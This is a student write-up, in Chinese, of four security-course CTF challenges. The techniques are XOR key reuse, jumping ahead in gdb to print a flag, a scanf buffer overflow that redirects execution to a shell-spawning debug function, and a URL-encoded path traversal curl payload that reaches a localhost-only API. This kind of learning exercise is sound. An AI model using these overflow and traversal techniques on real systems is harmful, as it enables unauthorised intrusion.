# **Computer Security hw0 writeups**

R10921A03 張承遠 (id: helloworst)

詳細程式碼請參考各附檔。

## 1. to bf or not to bf

## Concept

題目給兩張被加密的照片跟一個python code

首先觀察 python code 可以發現這是一個讀取照片並加密的程式。 加密的方法為:

- 1. 隨機產出一段 string 當作 random 函式的seed。
- 2. 將照片中每個 pixel 與隨機整數(0~255)做 xor 運算並存起來

由於隨機產出的 string 是用時間當作 seed,因為無法得知被加密照片的時間,難以直接破解。

這時可以利用 xor 運算的特性以及加密的兩張照片來還原兩張圖片。

假設原本為照片A、B,被加密的照片為EB、EA,用來加密的數字陣列為R (視A, B, EB, EA, R為相同大小的二維陣列,由加密程式中可以得知加密兩張照片用的是 同一個seed,因此R為一樣的)

- Assume EA = A ^ R, EB = B ^ R
- Then, EA ^ EB = (A ^ R) ^ (B ^ R)= A ^ B

由以上式子得知將兩張加密過後的照片做xor運算後可以得到兩張原始照片 xor 的照片,查看照片便可以拿到Flag。

# 2. XAYB

# Concept

題目給了一個猜數字的執行檔,只有三次機會可以猜。

首先用 objdump 觀察執行檔。但由於太複雜,因此改用 decompiler <u>snowman</u>解析。可以觀察到在 game\_logic function 裡面包含猜數字遊戲的規則,並從最後幾行可以得知

在猜對數字後會經過一些複雜運算後並印出疑似 Flag 的東西。

```
1518:
                  cmp dword [rbp-0xc], 0x5
                                                                                           addr_1597_19:
                                                                                          return;
addr_151e_17:
fun_1040("BINGO!", rsi7);
151c:
                  jnz 0x156d
                   lea rdi, [rip+0xcbc]
                call dword 0x1040
                  mov dword [rbp-0x20], 0x0
                                                                                           while (v28 <= 45) +
                 jmp 0x1559
                                                                                              edx29 = static_cast<uint32_t>(*reinterpret_cast<unsigned char*>(reinterpret_cast<int64_t>(v5) + v28)) * 0xfffffff2;
*reinterpret_cast<signed char*>(reinterpret_cast<int64_t>(v5) + v28) = *reinterpret_cast<signed char*>(&edx29);
1533:
                  mov eax, [rbp-0x20]
                 movsxd rdx, eax
1536:
1539:
                  mov rax, [rbp-0x38]
                                                                                           fun 1040 (v5. rsi7)
                                                                                           goto addr_1597_19;
153d:
                  add rax, rdx
```

查看此運算使用的變數後發現變數與猜數字的過程中的輸入無關,因此可以試著使用工具 直接跳到這幾行執行印出 Flag。

## **Exploit**

在這裡使用 gdb debugger

由於最後那段程式碼有使用到 v5 這個變數,所以至少要先執行到宣告 v5 那行才能跳到最後印出Flag的地方。

```
13a5:
               mov eax, [rbp-0x4]
                                                                            rbp4 = reinterpret_cast<void *>(reinterpret_cast<int64_t>(_zero_stack_offset()) - 8);
13a8:
               leave
13a9:
               ret
                                                                            v6 = 3
13aa:
               push rbp
                                                                            fun_1040("Enter something to start this game ... ", rsi);
                                                                            fun_1080("%100s", 0x4080);
13ab:
               mov rbp, rsp
                                                                            fun_1040(0x2068, 0x4080);
13ae:
               sub rsp, 0x40
                                                                            fun_1040(0x20c8, 0x4080)
13b2:
               mov [rbp-0x38], rdi
                                                                            fun_1040(0x2128, 0x4080);
13b6:
               mov dword [rbp-0x4], 0x3
                                                                            fun_1040("Generating answer...", 0x4080);
13bd:
               lea rdi, [rip+0xc74]
                                                                            *reinterpret_cast<int32_t*>(&rsi7) = 3;
                                                                            \label{eq:cast-into-decomposition} \verb|*reinterpret_cast| < into 4_t > (\&rsi7) + 4) = 0;
13c4:
               call dword 0x1040
                                                                            fun_1050("You have %d chances to guess the answer. I'm so kind :)\n", 3, rdx);
13c9:
               lea rsi, [rip+0x2cb0]
                                                                            rdi8 = reinterpret_cast<void *> (reinterpret_cast<int64_t>(rbp4) - 42);
13d0:
               lea rdi, [rip+0xc87]
                                                                            gen ang/mli8
```

### (宣告v5的地方)

#### GDB 執行過程:

- b game\_logic (在game\_logic function設breakpoint)
- r
- disas (檢查assembly code,並找出宣告變數v5的地方(53b2))

```
(gdb) disas
Dump of assembler code for function game_logic:
  0x00005555555553aa <+0>:
                               push
  0x00005555555553ab <+1>:
                               mov
                                      %rsp,%rbp
=> 0x00005555555553ae <+4>:
                                      $0x40,%rsp
                               sub
   0x0000555555555553b2 <+8>:
                               mov
                                      %rdi,-0x38(%rbp)
   0x0000555555555556 <+12>:
                               movl
                                      $0x3,-0x4(%rbp)
   0x000055555555553bd <+19>:
                               lea
                                      0xc74(%rip),%rdi
                                                              # 0x55555556038
   0x000055555555553c4 <+26>:
                               callq 0x5555555555040 <puts@plt>
```

- b \*0x00005555555555b6 (在宣告變數的後一行設breakpoint)
- C
- disas (檢查assembly code,並找出要跳的地方(551e))

```
cmpl
0x0000555555555518 <+366>:
                                    $0x5,-0xc(%rbp)
                                    0x55555555556d <game_logic+451>
0x000055555555551c <+370>:
                             ine
                                                            # 0x555555561e1
0x000055555555551e <+372>:
                                    0xcbc(%rip),%rdi
                             lea
0x0000555555555555 <+379>:
                             callq 0x555555555040 <puts@plt>
                                    $0x0,-0x20(%rbp)
0x000055555555552a <+384>:
                             movl
0x0000555555555531 <+391>:
                                    0x555555555559 <game_logic+431>
                             jmp
```

j \*0x0000055555555551e (跳到最後運算及印出Flag的地方)得到Flag

```
(gdb) j *0x000055555555551e

Continuing at 0x5555555551e.

BINGO!

FLAG{W0o_WAW_Y0U_50_LvcKy_watch_v_LBV49TPBEg}

[Inferior 1 (process 7804) exited normally]
```

# 3. Arch Check

# **Concept**

由於只有給一個執行檔,執行後輸入,可以得到結果。

先用 objdump 解密,

可以從裡面發現有一個 debug function 裡面疑似會執行 shell

```
00000000004011dd <debug>:
                f3 0f 1e fa
 4011dd:
                                         endbr64
 4011e1:
                55
                                         push
                48 89 e5
 4011e2:
                                         mov
                                                rbp,rsp
 4011e5:
                48 83 ec 08
                                         sub
                                                rsp,0x8
                                                rdi,[rip+0xe18]
                48 8d 3d 18 0e 00 00
                                                                        # 402008 <_IO_stdin_used+0x8>
 4011e9:
                                         lea
 4011f0:
                e8 9b fe ff ff
                                         call
                                                401090 <system@plt>
  4011f5:
                90
                                         nop
 4011f6:
                c9
                                         leave
  4011f7:
                с3
                                         ret
```

再加上 main函式 裡面使用的是 scanf,有 buffer overflow 的可能。 因此試著在輸入的時候用 debug 的 function address 蓋掉 main function 的 return address

```
00000000004011f8 <main>:
 4011f8:
               f3 0f 1e fa
                                        endbr64
 4011fc:
               55
                                        push
                                               rbp
 4011fd:
               48 89 e5
                                        mov
                                               rbp,rsp
 401200:
               48 83 ec 20
                                        sub
                                               rsp,0x20
 401204:
               b8 00 00 00 00
                                               eax,0x0
                                        mov
 401209:
               e8 88 ff ff ff
                                        call
                                               401196 <init>
 40120e:
               48 8d 3d f6 0d 00 00
                                        lea
                                               rdi,[rip+0xdf6]
                                                                       # 40200b <_IO_stdin_used+0xb>
                                               401070 <puts@plt>
               e8 56 fe ff ff
 401215:
                                        call
                                               rdi,[rip+0xe07]
                                                                       # 402028 <_IO_stdin_used+0x28>
 40121a:
               48 8d 3d 07 0e 00 00
                                        lea
               e8 4a fe ff ff
                                               401070 <puts@plt>
 401221:
                                        call
 401226:
               48 8d 45 e0
                                        lea
                                               rax,[rbp-0x20]
 40122a:
               48 89 c6
                                        mov
                                               rsi,rax
                                               rdi,[rip+0xe2c]
 40122d:
               48 8d 3d 2c 0e 00 00
                                                                       # 402060 <_IO_stdin_used+0x60>
                                        lea
 401234:
               b8 00 00 00 00
                                        mov
                                               eax,0x0
                                               4010a0 <__isoc99_scanf@plt>
 401239:
               e8 62 fe ff ff
                                        call
                                               rdi,[rip+0xe23]
 40123e:
               48 8d 3d 23 0e 00 00
                                                                       # 402068 <_IO_stdin_used+0x68>
                                        lea
 401245:
               e8 26 fe ff ff
                                        call
                                               401070 <puts@plt>
               b8 00 00 00 00
 40124a:
                                        mov
                                               eax,0x0
 40124f:
               c9
                                        leave
 401250:
               с3
                                        ret
                66 2e 0f 1f 84 00 00
 401251:
                                               WORD PTR cs:[rax+rax*1+0x0]
                                        nop
 401258:
                00 00 00
 40125b:
                0f 1f 44 00 00
                                               DWORD PTR [rax+rax*1+0x0]
```

# **Exploit**

首先計算存 scanf 變數的 address 到 return address 的 offset:

```
00000000004011f8 <main>:
               f3 0f 1e fa
 4011f8:
                                       endbr64
 4011fc:
               55
                                       push
                                              rbp
 4011fd:
               48 89 e5
                                       mov
                                              rbp,rsp
 401200:
               48 83 ec 20
                                              rsp,0x20
                                       sub
 401204:
               b8 00 00 00 00
                                       mov
                                              eax,0x0
               e8 88 ff ff ff
                                              401196 <init>
 401209:
                                       call
               48 8d 3d f6 0d 00 00
 40120e:
                                       lea
                                              rdi,[rip+0xdf6]
                                                                     # 40200b <_IO_stdin_used+0xb>
               e8 56 fe ff ff
                                              401070 <puts@plt>
 401215:
                                       call
               48 8d 3d 07 0e 00 00
 40121a:
                                       lea
                                              rdi,[rip+0xe07]
                                                                     # 402028 <_IO_stdin_used+0x28>
               e8 4a fe ff ff
                                              401070 <puts@plt>
 401221:
                                       call
               48 8d 45 e0
                                              rax,[rbp-0x20]
 401226:
                                       lea
               48 89 c6
 40122a:
                                       mov
                                              rsi,rax
 40122d:
               48 8d 3d 2c 0e 00 00
                                              rdi,[rip+0xe2c]
                                                                     # 402060 <_IO_stdin_used+0x60>
                                       lea
 401234:
               b8 00 00 00 00
                                              eax,0x0
                                       mov
                                              4010a0 <__isoc99_scanf@plt>
               e8 62 fe ff ff
 401239:
                                       call
 40123e:
               48 8d 3d 23 0e 00 00
                                              rdi,[rip+0xe23]
                                                                     # 402068 <_IO_stdin_used+0x68>
                                       lea
 401245:
               e8 26 fe ff ff
                                       call
                                              401070 <puts@plt>
               b8 00 00 00 00
 40124a:
                                              eax,0x0
                                       mov
 40124f:
               c9
                                       leave
 401250:
               с3
                                       ret
               66 2e 0f 1f 84 00 00
                                              WORD PTR cs:[rax+rax*1+0x0]
 401251:
                                       nop
 401258:
               00 00 00
               0f 1f 44 00 00
                                              DWORD PTR [rax+rax*1+0x0]
 40125b:
                                       nop
```

由上述圖片可以得知main函式預留0x20的大小給local variable,換算成十進位為32。 而得知大小後需再加上 rbp 的大小(8 bytes) 才能計算出真正的offset。

P.S. 從開頭可以得知此binary為64進位,因此一個instruction的大小為8 bytes,

```
→ objdump -M intel -d arch_check

arch_check: file format elf64-x86-64
```

最後計算得知區域變數 buffer 到 return address 的距離為32 + 8 = 40 bytes。 最後,我們在程式 input 時先隨機填充 40bytes 後再加上 debug 的 function address,便可以成功進入shell,接著用指令 grep -rnw . -e 'FLAG' 成功找到 Flag。

Result:

```
$ grep -rnw . -e 'FLAG'
./home/arch_check/flag:1:FLAG{d1d_y0u_ju5t_s4y_w1nd0w5?}
```

# 4. text2emoji

# Concept

題目為一個網站,在網站中輸入文字可以得到該文字對應到的表情符號。

#### 首先觀察source code可以觀察到:

- 1. /looksLikeFlag API似乎就是解答關鍵,但無法直接call此API,只能從 local server 才打的到此API。(listen 127.0.0.1)
- 2. 在 /public\_api 裡面會去打 local server 的API,API URL由

```
const url = <http://127.0.0.1:7414/api/v1/emoji/${text}</pre>
```

語法決定的,因此可以試著透過使用者input(\$text)去改變 /public\_api URL。

- 3. 會檢查傳入的 input
  - 不能包含
  - 不能有空白

#### **Exploit**

- 1. 第一個想到可以輸入 .../looksLikeFlag 來改變URL,但是source code裡面會檢查是否 還有".",所以行不通。
- 2. 試著使用 URL encoding 把. 轉換成 %2e ,並用以下指令成功繞過檢查並得到True的回覆。

```
curl -d '{"text": "%2e%2e/looksLikeFlag?flag=FLAG{"}' -H "Content-Type: application/j
son" -X POST <http://splitline.tw:5000/public_api>
```

#### 繞過成功之後,接著觀察可以從程式碼

```
assert(FLAG.match(/^FLAG{[a-z0-9_]+}$/));
```

得知flag的組成為a-z跟0-9跟\_。因此可以利用 looksLikeFlags 這個 API,寫一個簡單的程式不斷去試flag直到搜尋到結尾符號 } 為止。